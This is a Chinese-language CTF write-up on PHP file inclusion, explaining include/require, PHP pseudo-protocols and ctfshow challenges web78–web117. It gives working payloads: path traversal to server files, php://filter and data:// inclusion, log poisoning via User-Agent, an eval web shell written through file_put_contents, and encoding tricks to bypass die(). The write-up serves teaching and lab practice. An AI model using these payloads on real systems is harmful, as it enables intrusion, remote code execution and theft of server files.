文件包含漏洞详解与ctfshow文件包含漏洞模块的练习

center文件包含漏洞详解与ctfshow文件包含漏洞模块的练习

  • 文件包含漏洞详解
    • 1.什么是文件包含
    • 2.常见的文件包含函数
    • 3.漏洞产生原因
    • 4.php伪协议
    • 5.php://fifter(过滤器)
    • 6.data(数据流协议)
  • ctfshow文件包含漏洞模块练习
    • web78(无限制条件)
    • web79(替换字符串)
    • web80(日志包含)
    • web81(日志包含)
    • web87(filter协议编码绕过die)
    • web88(正则匹配黑名单)
    • web116
    • web117(小端转换为大端倒序绕过)

文件包含漏洞详解

参考文章

Web安全实战系列:文件包含漏洞

ctfshow-web入门-文件包含wp

CTFshow web入门——文件包含

1.什么是文件包含

​ 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

2.常见的文件包含函数

PHP中文件包含函数有以下四种:

  1. include(): 用于将指定文件包含进当前脚本中。如果文件不存在,则会发出警告并继续执行脚本。如果文件中包含有函数,函数也可以在包含它的脚本中使用。
  2. require(): 与include()类似,用于将指定文件包含进当前脚本中。不同之处在于,如果文件不存在,则会发出致命错误并停止执行脚本。
  3. include_once(): 与include()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。
  4. require_once(): 与require()类似,但它会在包含文件之前先检查文件是否已经被包含过了。如果文件已经被包含,则不会再次包含它。

includerequire区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once()require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

php.ini配置文件:allow_url_fopen=off 即不可以包含远程文件。

3.漏洞产生原因

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

示例代码


    $filename  = $_GET['filename'];
    include($filename);
?>

例如:

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

4.php伪协议

  • file:// — 访问本地文件系统
  • http:// — 访问 HTTP(s) 网址
  • ftp:// — 访问 FTP(s) URLs
  • php:// — 访问各个输入/输出流(I/O streams)
  • zlib:// — 压缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找匹配的文件路径模式
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处理交互式的流

前人总结的部分方法:

一般来说就是这些进行利用,具体的应用以题目为例子来进行记录

  • 包含日志

  • 日志文件污染是通过将注入目标系统的代码写入到日志文件中。通常,访问目标系统上的某些对外开放的服务时,系统会自动将访问记录写入到日志文件中,利用这个机制,有可能会将代码写入到日志中。例如,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:www.xxx.com则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

  • 注意

  • (1)除了我们包含 access.log 以外,我们还可以制造错误,然后包含 error.log

  • (2)如果出现包含不成功的情况,很有可能就是被 open_base_dir() 限制了

  • (3)实战中最好在凌晨的时候进行包含,要不然日志太大包含会失败

  • (4)除了 apache 和 nginx 的日志 还有很多其他的日志我们能利用,比如说 ssh 的日志

    常见的路径还有以下这些:

    ?file=.htaccess    //包含同目录下的文件
    ?file=../../../../../../../../../var/lib/locate.db
    ?file=../../../../../../../../../var/lib/mlocate/mlocate.db    //linux中这两个文件储存着所有文件的路径,需要root权限
    ?file=../../../../../../../../../var/log/apache/error.log    //包含错误日志
    ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf    //获取web目录或者其他配置文件
    ?file=../attachment/media/xxx.file    //包含上传的附件
    

5.php://fifter(过滤器)

​ 当我们需要从用户输入或其他不可靠来源获取文件路径时,使用filter进行过滤和验证可以有效地防止路径遍历攻击等安全问题。

php://filter 过滤器支持以下参数:

  1. “read”:用于对输入流进行过滤和转换。通过设置 “php://filter/read=filter_name”,可以将输入流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/read=convert.base64-decode” 过滤器将输入的 Base64 编码数据进行解码。
  2. “write”:用于对输出流进行过滤和转换。通过设置 “php://filter/write=filter_name”,可以将输出流中的数据使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/write=convert.base64-encode” 过滤器将输出的数据进行 Base64 编码。
  3. “string”:用于对字符串进行过滤和转换。通过设置 “php://filter/string=filter_name”,可以对指定的字符串使用指定的过滤器进行处理和转换。例如,可以使用 “php://filter/string.toupper” 过滤器将字符串全部转换为大写字母。
  4. “convert”:用于对输入流和输出流进行编码和转换。通过设置 “php://filter/convert=filter_name”,可以将输入和输出流中的数据进行编码和转换,以适应不同的需求。例如,可以使用 “php://filter/convert.base64-encode” 过滤器将输入和输出流中的数据进行 Base64 编码。

6.data(数据流协议)

“data://” 是 PHP 中的一种数据流(stream)协议,它允许将数据以 URL 形式进行传输和访问。通过 “data://” 协议,可以将数据直接嵌入到 PHP 脚本中,或者在 PHP 脚本中动态生成数据。

“data://” 协议的语法格式为:

data:[<mediatype>][;base64],<data>

其中,“” 是可选的媒体类型(MIME 类型),例如 “text/plain”、“image/jpeg” 等;“;base64” 表示数据使用 Base64 编码进行传输;“” 是需要传输的数据。

例如,以下是一个使用 “data://” 协议嵌入文本数据的例子:


echo "Hello, world!\n";

// 使用 data:// 协议嵌入文本数据
$data = "data:text/plain;base64," . base64_encode("Hello, data!");
echo file_get_contents($data) . "\n";
?>

在上面的例子中,使用 “data://” 协议将文本数据嵌入到 PHP 脚本中,并使用 “file_get_contents” 函数读取数据并输出到控制台。输出结果为:

Hello, world!
Hello, data!

ctfshow文件包含漏洞模块练习

web78(无限制条件)

1.使用filter

?file=php://filter/read=convert.base64-encode/resource=flag.php

2.使用data

?file=data://text/plain,

都是可以使用的

web79(替换字符串)

源代码

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

用下面语句绕过

?file=data://text/plain,

?file=data://text/plain,

​ 该url的后面的=是干嘛的呢?

​ 后面的等号是用于将PHP代码作为参数值进行传递的,它表示将?>之间的代码作为字符串传递给data://协议。在PHP中,是一个简写形式,相当于,用于将表达式的值输出到页面上。

​ 在这个URL中,将system("tac f*")作为参数值传递给data://协议后,这段代码会被当做字符串输出到页面上。在目标脚本中包含这个URL时,由于字符串中包含了PHP代码,因此可以通过文件包含漏洞执行这段代码,从而执行system("tac f*")命令。

web80(日志包含)

源代码


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__); 

用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在类似目录下(/var/log/httpd/access.log)

日志地址通常为

/var/log/nginx/error.log
/var/log/nginx/access.log

1.在UA头中插入

 echo system('ls');?>

2.然后将日志包含进来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zfOt0QgT-1679742116171)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230320082612672.png)]

得到fl0g.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-E7QtdtHS-1679742116172)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230320082602516.png)]

3.将is改成 cat fl0g.php即可得到flag

web81(日志包含)

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

多过滤了一个:,用上一题的方法即可

web87(filter协议编码绕过die)

源代码

 <?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "".$content);

    
}else{
    highlight_file(__FILE__);
} 

在过滤了这些的基础上使用了file_put_contents函数

  • file_put_contents–将一个字符串写入文件,第一个参数是文件名,第二个参数是写入的字符串(如果选择的文件不存在则创建一个该文件)
  • 可以看到有url解码,我们可以进行url双编码绕过。
  • 本题主要的点就是写入的语句是死亡语句,即会执行die,结束后面我们想要执行的传入的content的语句,所以使用php://filter对其进行绕过。具体可参见下面两篇文章
  • 博客1博客2

​ 主要就是使用php://filter对进行绕过,这里使用base64解码的方法,我们知道,base64解码只对a-z,A-Z,0-9进行解码,所以我们对这一条语句进行解码,那么具有php语句特征的就没有了,这样就不会执行die,(也可以用别的方法,协议,比如rot13),我们要注意,base64解码是以4字节为一组,这里的php die共6个字节,需要自行添加两个才能使其正确解码不影响后面的正常语句解码,

1.使用filter协议write写入一个文件

php://filter/write=convert.base64-decode/resource=1.php    #1.php是自己随意选的
//两次编码可以绕过urldecode
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
这是两次url编码后的内容

需要用bp的编码器,但是不知道为什么,解决了再说吧

2.同时开启post,传入参数content

content=aa<?php @eval($_POST[a]);?>
content=aaPD9waHAgcGhwaW5mbygpOyA/Pg==
这里加的aa就是为了与前面的phpdie结合凑够8个字符进行base64解码,后面的正常base64语句才能正常解码

3.上传后访问url/1.php

无返回值则成功

文件包含漏洞详解与ctfshow文件包含漏洞模块的练习_第1张图片

4.POST传入参数a

文件包含漏洞详解与ctfshow文件包含漏洞模块的练习_第2张图片

得到flag

web88(正则匹配黑名单)

源代码


if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

​ 发现过滤的还是比较多,但是没有过滤 : 那我们就可以使用PHP伪协议就是 这里使用的是 data://text/plain;base64,poc 其实和79差不多 只是注意的是编码成base64的时候要去掉 =

实际上就是去掉base64后的=, 作为填充使用,不影响结果

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

web116

按照教程下载文件不成功

文件包含漏洞详解与ctfshow文件包含漏洞模块的练习_第3张图片

web117(小端转换为大端倒序绕过)

源码

function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "".$contents);

考察点:绕过die

题目中过滤了很多协议和编码方式,但是除了我们常用的base64和rot13还是有很多方法可以绕过die的

这是取一个 UCS-2LE UCS-2BE

payload:
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=??

​ 将每个16位字符的两个8位字节的顺序交换

​ 一个英文字符用两个字节表示,

​ 例如,字符“<”在UCS-2LE编码中的表示为0x3C 0x00,在UCS-2BE编码中的表示为0x00 0x3C。因此,在转换后的字符串中,字符“<”变成了0x3F 0x00(即问号),字符“>”变成了0x3F 0x00,其他字符也被改变了。

​ 使用UCS-2LE编码,那么将其转换为UCS-2BE编码后,其内容会被改变。在UCS-2LE编码中,每个字符使用2个字节表示,字节顺序为小端(即最低有效字节在前面,最高有效字节在后面)。而在UCS-2BE编码中,每个字符使用2个字节表示,字节顺序为大端(即最高有效字节在前面,最低有效字节在后面)

将每个16位字符的两个8位字节的顺序交换

$(P_SO[T]1;)>?

​ 将每个16位字符的两个8位字节的顺序交换

​ 一个英文字符用两个字节表示,

​ 例如,字符“<”在UCS-2LE编码中的表示为0x3C 0x00,在UCS-2BE编码中的表示为0x00 0x3C。因此,在转换后的字符串中,字符“<”变成了0x3F 0x00(即问号),字符“>”变成了0x3F 0x00,其他字符也被改变了。

​ 使用UCS-2LE编码,那么将其转换为UCS-2BE编码后,其内容会被改变。在UCS-2LE编码中,每个字符使用2个字节表示,字节顺序为小端(即最低有效字节在前面,最高有效字节在后面)。而在UCS-2BE编码中,每个字符使用2个字节表示,字节顺序为大端(即最高有效字节在前面,最低有效字节在后面)

将每个16位字符的两个8位字节的顺序交换

文件包含漏洞详解与ctfshow文件包含漏洞模块的练习_第4张图片

你可能感兴趣的:(php,开发语言)